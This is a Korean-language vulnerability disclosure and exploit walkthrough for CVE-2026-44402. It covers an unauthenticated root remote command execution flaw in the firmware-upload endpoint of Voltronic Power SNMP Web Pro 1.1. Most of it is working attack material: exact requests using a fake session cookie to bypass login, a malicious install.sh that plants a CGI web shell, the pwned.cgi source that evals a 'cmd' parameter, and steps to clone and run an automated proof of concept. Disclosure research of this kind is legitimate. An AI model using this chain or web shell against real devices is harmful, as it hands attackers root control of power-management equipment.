
Voltronic Power SNMP Web Pro 1.1에서 사전 인증 없는 전체 루트 원격 명령 실행
Voltronic Power SNMP Web Pro 1.1에서의 인증 전 전체 원격 명령 실행
SNMP Web Pro 1.1의 upload.cgi 엔드포인트에는 인증이 필요 없는 원격 코드 실행 취약점이 존재합니다. 펌웨어 업데이트 기능은 사용자가 tar 아카이브를 업로드하면 이를 아무런 입력 검증이나 보안 검사 없이 추출 및 설치하도록 허용합니다. 애플리케이션이 아카이브 콘텐츠를 제한하거나 검증하지 않으므로, 공격자는 악성 CGI 스크립트가 포함된 조작된 아카이브를 업로드할 수 있습니다. 약간의 시행착오와 각 응답에서 누출되는 정보의 도움을 받으면, 서버가 기대하는 정확한 아카이브 형식을 알아내 악성 아카이브를 제작할 수 있습니다.
또한 해당 엔드포인트는 인증을 제대로 검증하지 않습니다. 프런트엔드에서는 로그인이 명확히 요구되지만, 조작되었거나 유효하지 않은 세션 쿠키를 제공하는 것만으로 접근 제어를 우회하고 유효한 자격 증명 없이 취약한 기능에 도달할 수 있습니다.
악용에 성공하면 공격자는 CGI 서버 디렉터리에 임의의 실행 파일을 배치하고 루트 권한으로 명령을 실행할 수 있습니다.
git clone https://github.com/Virgula0/CVE-2026-44402 && cd CVE-2026-44402
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python3 poc.py
다음의 모든 과정은 로컬 인스턴스(http://localhost:5555)를 대상으로 수행되었습니다. 이 전체 작업을 처음부터 쉽게 만드는 두 가지 요소가 있습니다:
Cookie: -http-session-=NOT_VALID 헤더 하나만 포함하면 됩니다. sid 쿼리 매개변수는 프런트엔드 JavaScript가 생성하는 임의 값이며, 서버 역시 이를 무시합니다.아래 단계들은 이러한 루프를 따릅니다. 요청은 서버가 실제로 신경 쓰는 최소한의 헤더만 남겨 축약했습니다.
첫 번째 요청만으로도 서버가 펌웨어 아카이브가 어디에 있어야 한다고 기대하는지 알 수 있습니다. params=extract가 CGI에 아카이브를 수신하라고 요청하는 것이 아니라 추출하라고 요청한다는 점에 유의하세요. 아직 아무것도 업로드되지 않았으며, 엔드포인트는 디스크에 있다고 기대하는 파일을 그냥 풀어보려고 할 뿐입니다.
GET /cgi-bin/upload.cgi?name=upgrade&?params=extract&?sid=0.7550163503158914 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
응답:
HTTP/1.1 503 Service Unavailable
Set-Cookie: -http-session-=6285::http.session::c554063a20f58778321bde709c8b5b88; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:03:21 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 124
tar: can't open '/root/upgrade.tar.gz': No such file or directory
Content-Type:text/html;charset=UTF-8
upgrade=extract
(NAK
응답 본문은 금광입니다. 작업 실패를 알려주는 (NAK(부정 응답) 외에도, tar 바이너리의 원시 출력이 응답에 그대로 포함되어 있습니다. 즉 /root/upgrade.tar.gz를 추출하려고 하고 있다는 뜻입니다. 또한 대상 설치 경로가 /root라는 점에 주목하세요. 우리는 권한 있는 프로세스와 대화하고 있습니다.
악용 계획을 위한 두 가지 사실:
upgrade.tar.gz로 이름이 바뀌어 /root에 배치됩니다. 파일 이름은 중요하지 않습니다.먼저 더미 tar 아카이브를 생성합니다 (업로드는 multipart POST이며, 그 트레이스는 흥미롭지 않습니다. 모든 동작은 GET 호출이 주도합니다):
tar czvf test.tar.gz test.txt
test.txt
사이클을 시작합니다: 아카이브를 업로드한 다음 추출합니다:
GET /cgi-bin/upload.cgi?name=upgrade&?params=extract&?sid=0.7550163503158914 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6287::http.session::11fcdf2cb70f9c5eb9156351f1c99a19; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:08:01 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 20
upgrade=extract
(ACK
(ACK - 추출이 아무 불평 없이 통과했습니다. 이 사이클(업로드 -> 추출 -> 설치)이 이번 악용 전체의 구조입니다. 이후로는 install 단계만 달라지므로, 다음 트레이스들은 요청 라인과 응답 본문만 보여줍니다 (헤더는 위와 동일합니다).
upgrade라는 폴더를 요구한다추출은 정상 동작합니다. 이제 설치할 차례입니다. 예상대로 응답이 다릅니다:
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6315::http.session::813a6112002ec3f3ca149abe514cfba9; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:15:42 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 63
upgrade=install
(ACKsh: cd: line 1: can't cd to /root/upgrade*
다시 (ACK가 표시되지만, 셸 명령의 잔해가 누출됩니다: cd: line 1: can't cd to /root/upgrade*. 설치 프로그램은 임의의 셸을 실행하며, 추출된 아카이브 안에서 upgrade라는 이름의 폴더로 확장되는 글로브(glob)로 cd를 시도합니다. 우리의 무해한 평면 아카이브(루트에 있는 test.txt)는 이 글로브를 충족하지 못합니다. 해결책은 간단합니다: 최상위 upgrade/ 디렉터리로 다시 패키징하면 됩니다.
mkdir upgrade && cd upgrade && touch test.txt
tar czvf test.tar.gz upgrade
upgrade/
upgrade/test.txt
그런 다음 사이클의 처음 두 단계를 반복합니다: 재업로드, 재추출.
install.sh를 요구한다동일한 install 호출을 다시 수행하면, 누출되는 정보가 더욱 유용해집니다:
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6318::http.session::3e74062cf64c49f5ef94905347698a71; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:19:52 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 65
upgrade=install
(ACKchmod: install.sh: No such file or directory
install.sh라는 스크립트에 chmod를 수행합니다. 즉 설치 절차가 아카이브의 셸 스크립트를 root로 실행한다는 뜻입니다. 이 시점에서 우리는 아카이브의 모든 파일을 제어하므로 해당 스크립트도 제어합니다. 이것이 한 줄로 요약되는 취약점의 전부입니다: 인증 없이, 루트 권한으로 실행되는 임의의 파일.
upgrade/ 디렉터리 안에 install.sh와 pwned.cgi를 생성합니다 (두 파일 모두 이 저장소의 upgrade/ 폴더에도 포함되어 있습니다).
install.sh는 물리적 배치를 풀어내어 우리 스크립트가 웹 루트 CGI 디렉터리에 놓이도록 한 다음, 권한을 수정합니다:
cat upgrade/install.sh
#!/bin/sh
current="$PWD"
show=$(ls -la /root/upgrade 2>/dev/null)
ww=$(whoami)
# Write debug info with proper formatting
printf "%s\n%s\n%s\n" "$current" "$show" "$ww" > /var/www/html/web_pages/pwned.txt
# Copy the cgi script correctly
cp pwned.cgi /var/www/html/web_pages/cgi-bin/pwned.cgi
# Set permissions
chmod 755 /var/www/html/web_pages/cgi-bin/pwned.cgi
pwned.cgi는 최소한의 명령 디스패처 CGI입니다. cmd 쿼리 매개변수를 받아 URL 디코딩한 뒤 eval에 전달합니다. 이것이 바로 원격 셸입니다:
cat upgrade/pwned.cgi
#!/bin/sh
echo "Content-Type: text/plain"
echo ""
# Get the query string (everything after the '?')
QUERY_STRING="$QUERY_STRING"
# Extract the 'cmd' parameter value
# This simple parser works for cmd=something
CMD=$(echo "$QUERY_STRING" | sed -n 's/.*cmd=\([^&]*\).*/\1/p' | sed 's/+/ /g')
# URL decode (basic: replace %20 with space, etc.)
CMD=$(echo "$CMD" | sed 's/%20/ /g; s/%2F/\//g; s/%2D/-/g; s/%5F/_/g')
if [ -z "$CMD" ]; then
echo "No cmd parameter provided."
exit 0
fi
# Execute the command and return its output
eval "$CMD" 2>&1
아카이브를 다시 패키징합니다:
tar czvf test.tar.gz upgrade
upgrade/
upgrade/install.sh
upgrade/pwned.cgi
그리고 마지막으로 전체 사이클을 한 번 더 실행합니다:
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6321::http.session::ec3ba9c0e3c14b9eb2403c1d211bf968; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:22:31 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 20
upgrade=install
(ACK
이번에는 오류 누출 없이 깨끗한 (ACK가 반환되었습니다. 설치 프로그램은 불평 없이 우리 스크립트를 실행했으며, 이제 pwned.cgi가 CGI 디렉터리에 위치해 있을 것입니다. 간단한 whoami로 확인할 수 있습니다 (URL을 따옴표로 감싸야 합니다. ;는 셸 구분자이며 CGI 파서가 이를 제대로 처리하지 못합니다):
curl 'http://localhost:5555/cgi-bin/pwned.cgi?cmd=whoami%3Buname+-a'
root
Linux SNMP-System 2.6.35.3-670-g914558e-g858a882 #1 PREEMPT Mon Sep 26 16:39:15 CST 2016 armv5tejl GNU/Linux
장치의 ARM Linux에서 root 권한을 획득했습니다. 자격 증명 0개에서 root 셸까지, 전체 과정에는 위의 두 가지 정보 누출과 tar 아카이브 하나만 필요했습니다.

아니요, 공급업체가 아직 답변을 제공하지 않았습니다. 인증이 포함된 ngnix 리버스 프록시를 사용하여 대상을 보호하세요.
poc.py는 수동 사이클을 1:1로 자동화합니다. create_in_memory_tar_archive()는 5단계의 아카이브를 메모리에서 생성하고(install.sh + POST 기반 변형 pwned.cgi), 그다음 upload_archive(), extract_firmware(), install_firmware()가 2~4단계를 재현하며, verify_exploit_uploaded()는 CGI가 나타날 때까지 대기하고, spawn_non_interactive_shell()은 명령이 base64로 인코딩되어 pwned.cgi로 POST되는 >>> 프롬프트로 안내합니다.